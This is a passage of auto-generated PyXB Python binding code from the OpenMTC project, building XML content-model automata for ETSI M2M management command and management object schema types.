u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'description')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 20, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse( MgmtCmd._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'cmdType')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 21, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execEnable')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 22, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execReqArgs')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 23, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execInstancesReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 26, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 27, 12)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_8, False)])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_9, False)])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_10, True)])) st_10._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) MgmtCmd._Automaton = _BuildAutomaton_57() ExecReqArgsList._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'execReqArg'), ExecReqArg, scope=ExecReqArgsList, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 52, 12))) def _BuildAutomaton_58(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_58 del _BuildAutomaton_58 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 52, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ExecReqArgsList._UseForTag( pyxb.namespace.ExpandedName(None, u'execReqArg')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 52, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ExecReqArgsList._Automaton = _BuildAutomaton_58() ExecReqArg._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'name'), pyxb.binding.datatypes.string, scope=ExecReqArg, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 59, 12))) ExecReqArg._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'value'), pyxb.binding.datatypes.anyType, scope=ExecReqArg, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 60, 12))) def _BuildAutomaton_59(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_59 del _BuildAutomaton_59 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse( ExecReqArg._UseForTag(pyxb.namespace.ExpandedName(None, u'name')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 59, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse( ExecReqArg._UseForTag(pyxb.namespace.ExpandedName(None, u'value')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 60, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ExecReqArg._Automaton = _BuildAutomaton_59() MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentType'), pyxb.binding.datatypes.string, scope=MgmtObj, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 106, 4))) MgmtObj._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'moID'), pyxb.binding.datatypes.string, scope=MgmtObj, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 8, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'originalMO'), pyxb.binding.datatypes.string, scope=MgmtObj, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 10, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'description'), pyxb.binding.datatypes.string, scope=MgmtObj, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 12, 4))) MgmtObj._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'parametersCollection'), NamedReferenceCollection, scope=MgmtObj, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 14, 4))) def _BuildAutomaton_60(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_60 del _BuildAutomaton_60 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 16, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 17, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 18, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 19, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 20, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 23, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 25, 12)) counters.add(cc_10) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = None symbol = pyxb.binding.content.ElementUse( MgmtObj._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'moID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 17, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'originalMO')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 18, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentType')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 19, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = None symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'description')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 20, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'parametersCollection')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 22, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(MgmtObj._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 23, 12)) st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard( process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=( pyxb.binding.content.Wildcard.NC_not, u'http://uri.etsi.org/m2m')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObj.xsd', 25, 12)) st_11 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_11) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_8, False)])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ ])) transitions.append(fac.Transition(st_11, [ ])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_9, False)])) st_10._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_10, True)])) st_11._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) MgmtObj._Automaton = _BuildAutomaton_60() MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=MgmtObjs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=MgmtObjs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=MgmtObjs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=MgmtObjs, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjCollection'), NamedReferenceCollection, scope=MgmtObjs, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 21, 4))) MgmtObjs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'mgmtCmdCollection'), NamedReferenceCollection, scope=MgmtObjs, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 22, 4))) def _BuildAutomaton_61(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_61 del _BuildAutomaton_61 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 10, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 11, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 12, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs 